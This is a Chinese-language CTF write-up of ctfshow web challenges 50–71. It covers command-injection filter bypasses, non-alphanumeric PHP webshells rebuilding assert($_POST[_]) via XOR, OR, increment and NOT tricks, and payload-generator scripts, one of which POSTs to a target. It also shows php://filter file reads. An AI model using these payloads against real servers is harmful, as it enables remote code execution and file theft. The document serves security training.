比上次多过滤了一个百分号,但这是当百分号作为参数传递的时候才会被过滤,而url编码不会

:在进行URL编码时,通常不会直接过滤掉百分号,因为百分号是编码机制的一部分。

所以还是可以正常用的

web50

image-20241203115417447

过滤了两个编码,%09和%26,分别是制表符和&符号,但我们依旧可以用其他的去代替他们

用<>代替空格,用||去代替&&

1
2
/?c=tac<fla%27%27g.php||
/?c=tac<>fl\ag.php||ls

web51

image-20241203115459175

这次居然过滤了tac,另外同cat功能的函数还有: cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

所以我们使用nl进行绕过:?c=nl<>fl\ag.php||ls

或者绕过过滤:?c=ta\c<>fl\ag.php||ls

web52

image-20241203115532705

?c=ta\c${IFS}fl\ag.php|| 发现flag不在里面

image-20241203115552580

我们看看根目录呢

?c=ls${IFS}/||ls

image-20241203115605412

发现flag在根目录里面

?c=ta\c${IFS}/fl\ag||ls拿取根目录的flag

web53

image-20241203115627179

意思是我们像c传递的值会被当成system的命令,并将执行结果赋值给d,然后输出d,做法是一样的没有变

?c=ta\c${IFS}fl\ag.php

web54

image-20241203115650126

:星号,通常用作通配符。里面的意思是所有包含其中字符的字符串都会被过滤,例如f.*l.*a.*g意思就是只要传递的参数中包含flag字符串都会被过滤,所以flag绕过方式就不可以了。

如说cat,.*当出现cat这个整体时才会进行匹配,会尽可能匹配较多字符,ca,c之类的字符不会进行匹配,tac为什么不能用t??,是因为还有一个跟它一样长度的命令top

解法一:

使用mv命令把flag文件重命名,再使用uniq查看a.txt

c= mv${IFS}fla?.php${IFS}a.txt

c=uniq${IFS}a.txt

解法二:

凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的只有/bin/cat命令,所以构造payload:

?c=/bin/ca?${IFS}????.???

解法三:直接用uniq查看

c=uniq${IFS}f???.php

知识点:uniq

uniq命令的基本功能是检测和删除文本文件中相邻的重复行,或者仅显示重复行、不重复行

解法四:

c=grep${IFS}-r${IFS}’ctfshow’${IFS}.

知识点:grep的常用选项与示例

  1. 基本搜索:
  • grep “pattern” filename:在文件filename中搜索包含pattern的行。
  1. 显示匹配行的行号:
  • grep -n “pattern” filename:在输出匹配行的同时,显示其行号。
  1. 反向匹配:
  • grep -v “pattern” filename:输出不包含pattern的行。
  1. 统计匹配行的数量:
  • grep -c “pattern” filename:统计并输出匹配pattern的行的数量。
  1. 递归搜索:
  • grep -r “pattern” directory:在目录directory及其子目录中递归搜索包含pattern的文件。
  1. 使用正则表达式:
  • grep -E “pattern1|pattern2” filename:使用扩展正则表达式,匹配pattern1或pattern2。
  1. 不区分大小写:
  • grep -i “pattern” filename:在搜索时不区分大小写。

web55

image-20241203115825635

这次把字母过滤了

解法一:base64程序查看flag.php

由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

解法二:采用数字编码

$’\xxx’ 语法用于表示使用八进制(octal)编码的字符

$’\164\141\143’ $’\146\154\141\147\56\160\150\160

解法三:构造请求包

利用文件上传进行命令执行

1.构造POST数据包(或使用postman直接上传文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://41d5615f-8af8-425d-af5e-b0efc6a90284.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

2.构造php文件进行上传

#!/bin/sh

ls

3.构造poc执行命令

?c=.%20/???/????????[@-[]

4.上传请求包

image-20241203115953670

可以看到有两个文件,接下来我们访问flag.php文件,把php文件内容改一下

#!/bin/sh

cat flag.php

即可获得flag!

web56

image.png

先看看哪些字符是可以用的

用php脚本

1
2
3
4
5
6
7
8
9
#输出可用字符
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i",chr($i))){
echo chr($i)." ";
}
}
#可用字符:# ) * + , - . / : = ? @ [ \ ] ^ _ | } ~
?>

知识点:无字母数字webshell

所谓无字母数字 Webshell,其基本原型就是对以下代码的绕过:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

这段代码限制了我们传入 shell 参数中的值不能存在字母和数字。 但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如”assert”、”system”、”file_put_contents”、”call_user_func” 等危险函数然后动态执行即可。

1、shell下可以利用. 来执行任意脚本

​ 它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如:当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。而且用. file执行文件,是不需要file有x权限的。

2、Linux文件名支持用glob通配符代替

​ 执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

​ 1)*可以代替0个及以上任意字符

​ 2)?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。

但如果执行. /???/?????????,页面会显示错误,这是由于执行. /???/?????????通配符后的文件有很多

PHP基础知识

PHP 短标签

<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>

PHP 中的反引号

PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数

通配符在 RCE 中的利用

先说一下原理:

在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。

在 Shell 命令行中,?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。

同理,我们可以知道*通配符:

在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。

在shell命令行中,*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。

所以,我们利用?*在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤,如下实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
假设flag在/flag中:
cat /fla?
cat /fla*

假设flag在/flag.txt中:
cat /fla????
cat /fla*

假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*

假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*

我们可以用以上格式的 Payload 都可以读取到flag。

PHP 5 和 PHP 7 的区别

1)在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)

(2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();

异或运算绕过

绕过原理

在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。

例如,我们异或?~之后得到的是A

img

基于此原理我们可以构造出无字母数字的 Webshell,下面是 PHITHON 师傅的一个 Payload:

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

看到代码中的下划线______是一个变量,因为 preg_match() 过滤了所有的字母,我们只能用下划线来作变量名。最后拼接起来 Payload 如下:

$=(‘%01’^’').('%13'^'‘).(‘%13’^’').('%05'^'‘).(‘%12’^’').('%14'^'‘);$__=’‘.(‘%0D’^’]’).(‘%2F’^’`’).(‘%0E’^’]’).(‘%09’^’]’);$=$$;$($__[]);

// 密码为 “_”

构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

$myfile = fopen("xor_rce.txt", "w");#创建文件
$contents="";#定义变量
for ($i=0; $i < 256; $i++) { #循环256次
for ($j=0; $j <256 ; $j++) { #循环256次
if($i<16){#判断是否小于16
$hex_i='0'.dechex($i);#如果小于16,在前面补0
}
else{#如果大于等于16
$hex_i=dechex($i);
}
if($j<16){#判断是否小于16
$hex_j='0'.dechex($j);#如果小于16,在前面补0
}
else{
$hex_j=dechex($j);#如果大于等于16,正常write
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){#判断是否符合正则表达式
echo "";#如果符合正则表达式,输出空
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;#定义变量a和b
$c=(urldecode($a)^urldecode($b));#异或运算
if (ord($c)>=32&ord($c)<=126) {#判断是否是可见字符
$contents=$contents.$c." ".$a." ".$b."\n";#写入文件
}
}
}
}
fwrite($myfile,$contents);#写入文件
fclose($myfile);#关闭文件

首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果。

接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-

def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()#read one line at a time
if t=="":#if the end of file is reached
break
if t[0]==i:
print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
print(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

或运算绕过

绕过原理

在前面异或绕过中我们说了,PHP 中两个字符串异或之后得到的还是一个字符串。那么或运算原理也是一样,如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串。

构造脚本

下面给出一个或运算绕过的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//生成可用字符集的代码,在面对运算符绕过时可以使用
$myfile = fopen("rce_or.txt", "w");#生成文件
$contents="";#定义变量
for ($i=0; $i < 256; $i++) { #遍历256个字符
for ($j=0; $j <256 ; $j++) { #遍历256个字符

if($i<16){#判断是否小于16,若小于16则在前面补0
$hex_i='0'.dechex($i);#转换为16进制并在前面补0
}
else{
$hex_i=dechex($i);#转换为16进制
}
if($j<16){
$hex_j='0'.dechex($j);#转换为16进制并在前面补0
}
else{
$hex_j=dechex($j);#转换为16进制
}
$preg = '/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i';//绕过的运算符
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){#判断是否存在绕过的运算符
echo "";#空语句,用于输出内容
}

else{
$a='%'.$hex_i;#转换为url编码
$b='%'.$hex_j;#转换为url编码
$c=(urldecode($a)|urldecode($b));#进行或运算
if (ord($c)>=32&ord($c)<=126) {#判断是否为可见字符
$contents=$contents.$c." ".$a." ".$b."\n";#写入文件
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

首先运行以上 PHP 脚本后,会生成一个 txt 文档or_rce.txt,里面包含所有可见字符的或运算构造结果。

接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests #用于HTTP请求的requests库
import urllib #用于url编码的urllib库
from sys import *#用于获取命令行参数的sys库
import os #用于执行系统命令的os库
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):#检查命令行参数的数量
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]#将命令行中的第二个参数(URL)赋值给变量url

def action(arg):#定义函数action,用于处理命令行参数
s1=""#定义两个空字符串s1和s2
s2=""#用于存储命令行参数的前两个字符
for i in arg:#遍历命令行参数的每一个字符
f=open("rce_or.txt","r")#打开文件rce_or.txt
while True:
t=f.readline()#读取文件的一行
if t=="":#当文件读到末尾时退出循环
break
if t[0]==i:#当文件中第1个字符与命令行参数的第1个字符相同
#print(i)
s1+=t[2:5]
s2+=t[6:9]#将文件中第2-4个字符和第6-8个字符分别赋值给s1和s2
break
f.close()#关闭文件
output="(\""+s1+"\"|\""+s2+"\")"#将s1和s2合并成一个正则表达式,构造并返回一个包含s1和s2的字符串,格式为("s1"|"s2")。
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))#通过用户输入的函数名和命令,调用action函数两次,并将结果拼接起来。
data={
'c':urllib.parse.unquote(param)#将构造的字符串用urllib.parse.unquote函数进行url解码,并赋值给data字典的c键值。
}
r=requests.post(url,data=data)#向url发送一个POST请求,请求体为data。
print("\n[*] result:\n"+r.text)#打印服务器返回的响应内容。

自增绕过

绕过原理

首先我们来看一看 PHP 中自增自减的一个特性:

img

也就是说:

1
2
3
"A"++ ==> "B"
"B"++ ==> "C"
......

所以,只要我们能拿到一个变量,其值为a,那么通过自增操作即可获得a-z中所有字符。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // 强制连接数组和字符串导致$_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

绕过_下划线

在前文中我们可以看到,很多 Payload 的构造都用到了下划线_作为变量名。但即便是下划线_被过滤了,我们也根本无需担心,因为我们本就可以不用_

  • 比如我们前面的像下面那几种 Payload 就没有用到**_**
1
2
3
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
  • 再来看看另一个师傅用过这样的 Payload,也可以绕过,而且效果极好:
1
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

解释一下这个师傅的绕过手法:

1
2
3
4
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo

任何字符与 0xff 异或都会取相反,这样就能减少运算量了

摘自:老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户

了解完基础知识,现在开始做题:

没有被过滤的字符:# ) * + , - . / : = ? @ [ \ ] ^ _ | } ~

因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行sh命令。

解题思路:

通过POST上传一个文件,文件内容是要执行的命令,并且同时点命令执行该文件,形成条件竞争。这个文件默认保存在/tmp/phpxxxx路径下,所以可以通过/???/????????[@-[] 来构成这个路径,[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位),之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。就算这样,也不一定能够准确地匹配到我们的上传文件,所以可能要多次刷新。

1.构造POST数据包或使用postman传递

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://227f0ddd-0640-4c46-b921-4a7fb674c137.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

2.编写php文件

1
2
#!/bin/sh
ls

3.构造poc执行命令

?c=.%20/???/????????[@-[]

之所以用[@-[]是因为直接用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。就算这样,也不一定能够准确地匹配到我们的上传文件,所以可能要多次刷新。

4.上传文件然后用bp抓包,加上poc执行命令,然后发送

img

看到flag.php了,修改php文件命令继续上传

img

拿到flag!

web57

image.png

先看看能用哪些字符

! # $ ( ) + / : @ \ ] ^ _ { | } ~

.号被过滤了,不能用bash命令,那就另辟出路

解题思路:利用linux的$(())构造出36

取反运算符绕过:

1
2
3
4
5
6
echo ~('瞰'{1});    // a
echo ~('和'{2}); // s
echo ~('和'{2}); // s
echo ~('的'{1}); // e
echo ~('半'{1}); // r
echo ~('始'{2}); // t

这里直接给出 PHITHON 师傅的 Webshell:

1
2
3
4
5
6
7
8
9
$__=('>'>'<')+('>'>'<');    // $__=2, 利用PHP的弱类型的特点获取数字
$_=$__/$__; // $_=1

$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); // $____=assert

$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); // $_____=_POST

$_=$$_____; // $_=$_POST
$____($_[$__]); // assert($_POST[2])

缩减后即:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
或:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=瞰;$____.=~($___{$_});$___=和;$____.=~($___{$__});$___=和;$____.=~($___{$__});$___=的;$____.=~($___{$_});$___=半;$____.=~($___{$_});$___=始;$____.=~($___{$__});$_____=_;$___=俯;$_____.=~($___{$__});$___=瞰;$_____.=~($___{$__});$___=次;$_____.=~($___{$_});$___=站;$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

利用linux的$(())构造出36

$(())=0

$((~ $(()) ))=-1

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:

1
2
3
4
get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))" # -1
payload = get_reverse_number.format(negative_one*37)
print(payload)

web58-65

以58为例

img

eval()函数

eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。

使用方法:eval(php代码)

简单来说这里是远程代码注入的rce

用bp抓包,修改请求方法为POST,send了几次之后发现system()函数,passthru()函数都是被禁用了的,但后来发现highlight_file()函数没有被过滤,所以采用highlight_file()函数

两种解法

highlight_file函数查看

c=highlight_file(“flag.php”);

highlight_file()函数

是 PHP 中用于语法高亮显示文件源代码的一个函数。它读取指定的文件,并返回带有 HTML 语法高亮标记的源代码

include+伪协议

c=include($_POST[‘w’]);&w=php://filter/convert.base64-encode/resource=flag.php

php伪协议php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用:

php://filter/read=convert.base64-encode/resource=index.php

php://filter/resource=index.php

利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

无参数读取

show_source(array_rand(array_flip(scandir(getcwd())))) #array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组 多post几次就出来了,也可以指定读取,网上自查

show_source()函数

是 PHP 中用于显示 PHP 源代码的一个函数

img

是可以拿到flag的哈

web66

这次的题目是一样的,但过滤不太一样,show_source()函数被过滤了

那就用highlight_file()函数看看

结果发现…..

img

用参数输入include做也是一样

img

侮辱性极强,看我们拿下他

既然不在这个文件里面,那我们扫一下目录

打印目录:print_r(scandir(“/“));//如果不在网站目录,就往前找使用../

scandir()函数

  • 功能:返回指定目录中的文件和目录数组。

  • 用法$files = scandir($directory, $sorting_order);

  • $directory 是你想要扫描的目录的路径。

  • $sorting_order 是可选的排序顺序,可以是 SCANDIR_SORT_ASCENDING(升序,默认值),SCANDIR_SORT_DESCENDING(降序),SCANDIR_SORT_NONE(不排序)。

  • 返回值是一个包含目录中所有文件和目录名称的数组(包括 ...),如果失败则返回 false

readdir()函数

  • 功能:从已经打开的目录中读取下一个文件的名称。

  • 用法$filename = readdir($handle);

  • $handle 是之前通过 opendir() 打开的目录句柄。

  • 返回值是目录中下一个文件的名称(字符串),如果已经读取到目录末尾或出错则返回 false

opendir()函数

  • 功能:打开一个目录句柄,供其他目录函数使用。

  • 用法$handle = opendir($path);

  • $path 是你想要打开的目录的路径。

  • 返回值是一个目录句柄(resource 类型),如果失败则返回 false

先用scandir列根目录内容,用print_r回显。

img

看到一个flag.txt

最后正常查看这个文件就行(记得flag.txt是在根目录,所以应该是highlight_file(‘/flag.txt’))

另外的:新思路:PHP原生类可遍历目录 c=$dir=new DirectoryIterator(“/“);echo $dir; (url编码:c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.’%3cbr%3e’)%3b%7d)

web67

这次print_r()函数被禁用了,我们换一个

c=var_dump(scandir(‘/‘));

c=var_export(scandir(‘/‘));

var_dump()

  • var_dump() 提供了比 print_r() 更详细的信息,包括变量的类型和长度(对于字符串)。
  • 它对于调试非常有用,因为它显示了更多关于变量的内部信息

var_export()

  • var_export() 返回或输出关于变量的字符串表示,这个表示可以作为有效的 PHP 代码来执行(如果变量是数组或对象的话,可能会需要一些调整)。
  • 它对于生成代码示例或配置数据很有用。

web68

img

直接提示highlight_file()函数不能用了

没关系,那就用其他的

c=readgzfile(“/flag.txt”);

readgzfile()函数

是 PHP 中用于读取整个 gzip 压缩文件的内容,并将其作为字符串返回的函数。这个函数不会直接输出文件内容到浏览器或终端,而是将内容存储在变量中供后续使用。

c=require(“/flag.txt”);

require()函数

是 PHP 中用于包含并运行指定文件的一个语句。与 include() 函数类似,require() 也会将指定文件的内容包含到当前脚本中

c=include(“/flag.txt”);

include()函数

include()可以引入并执行一个指定的文件的内容,如果那个被引入的文件包含了HTML代码或PHP代码,这些代码会在当前的脚本中执行,从而间接地在最终的输出中显示内容。

也可以用参数输入include+伪协议来做

c=include($_POST[‘w’]);&w=php://filter/convert.base64-encode/resource=/flag.txt

web69

跟68一样的提示

先试试老方法

这次不能用var_dump()函数了,我们换成var_export()是可以用的

web70

查看题目

img

这次新增了两个函数哈,我们先逐个了解一下

error_reporting() 函数

error_reporting() 函数是 PHP 中用于设置错误报告级别的函数。它允许你控制哪些类型的错误、警告和通知会被显示出来。这个函数对于开发和调试过程特别有用,因为它允许开发者根据需要调整错误报告的详细程度。

ini_set()函数

ini_set() 函数是 PHP 中用于设置配置选项(ini 配置指令)的值的一个函数。这些配置选项通常位于 php.ini 文件中,但 ini_set() 允许你在运行时动态地更改这些设置,而无需修改 php.ini 文件本身。

目前来看是对题目没啥用,我们正常解看看

发现还是可以正常做出来的,那就没什么好讲的

web71

查看题目,好像跟之前的不太一样

有一个index.php文件,下载看看

img

$s = ob_get_contents();

  • 这行代码获取当前输出缓冲区的内容,并将其存储在变量$s中。输出缓冲允许你临时存储输出而不是直接发送到浏览器。这通常用于在发送最终输出之前进行进一步的处理或修改。

ob_end_clean();

  • 这行代码结束当前的输出缓冲并丢弃缓冲内容(尽管我们已经将其保存在$s中)。这意味着在调用ob_end_clean()之后,任何新的输出将直接发送到浏览器,而不是被缓冲。

echo preg_replace(“/[0-9][a-z]/i”,”?”,$s);

  • 这行代码使用preg_replace()函数对变量$s的内容进行正则表达式替换。它查找所有数字(0-9)和小写字母(a-z),并将它们替换为问号(”?”)。正则表达式中的i修饰符表示不区分大小写,但在这个特定的表达式中,由于只指定了小写字母,所以i实际上没有作用。最终,处理后的字符串通过echo输出。

对缓冲区的理解

eval() 执行后,这行代码获取当前输出缓冲区的内容,并将其存储在变量 $s 中。输出缓冲区可能包含由 $c 中的代码生成的任何输出。

所以这段代码的目的是捕获执行 $c 中的代码后产生的输出,然后对这个输出进行处理(即替换掉所有的数字和小写字母),而不是直接处理 $c 中的代码字符串本身。

当PHP脚本执行时,它可能会生成各种输出,比如HTML内容、文本、图像等。默认情况下,这些输出会立即发送到客户端(如浏览器)。但是,通过使用输出缓冲函数,PHP允许开发者将这些输出先存储在内存中的一个缓冲区中,而不是立即发送。

那我们应该做的有两件事:

1.绕过正则匹配

2.绕过缓冲区

这里我们只需要提前退出缓冲区就可以避免我们eval执行的代码输出的内容经过正则匹配,因此不需要绕过正则匹配

对于绕过缓冲区

1.提前送出缓冲区

可用的函数:

ob_flush()函数

ob_flush() 函数在 PHP 中用于刷新(输出)当前输出缓冲区的内容。当输出缓冲被激活时(通常通过 ob_start() 函数),PHP 脚本的输出不会立即发送到客户端(如浏览器),而是先存储在内部缓冲区中。ob_flush() 函数会将缓冲区的内容发送到客户端,但不一定清空缓冲区本身,这取决于 PHP 的配置和输出缓冲机制的状态。

flush()函数

  • flush() 函数尝试将输出缓冲区的内容发送到客户端。但是,如果 PHP 的输出缓冲和 Web 服务器的输出缓冲同时被激活,flush() 可能不会清空 PHP 的输出缓冲区,只会尝试清空 Web 服务器的输出缓冲区。
  • ob_flush() 函数确保 PHP 的输出缓冲区内容被发送到客户端。如果同时调用了 flush(),则可能尝试同时清空 PHP 和 Web 服务器的输出缓冲区。

ob_end_flush()函数

ob_end_flush(); 函数在 PHP 中用于结束当前的输出缓冲区,并将缓冲区的内容发送到客户端(如浏览器)。这个函数结合了 ob_end_clean();ob_flush(); 的功能:它首先会发送缓冲区的内容(如果缓冲区不为空),然后关闭(结束)当前的输出缓冲块。

  1. **ob_end_clean();** 的区别
  • ob_end_clean(); 只是清空(丢弃)缓冲区的内容,并不发送它到客户端。
  • ob_end_flush(); 则会发送内容,并结束缓冲。
  1. **ob_flush();** 的区别
  • ob_flush(); 只会发送缓冲区的内容到客户端,但不会结束缓冲块。这意味着缓冲区仍然存在,之后的输出仍然可以被添加到这个缓冲区中(直到另一个 ob_end_... 函数被调用)。

2.结束程序

提前终止程序,即执行完代码直接退出,可以调用的函数有:

exit()函数

  • exit() 被调用时,PHP 脚本会立即停止执行,后面的代码将不会被运行。
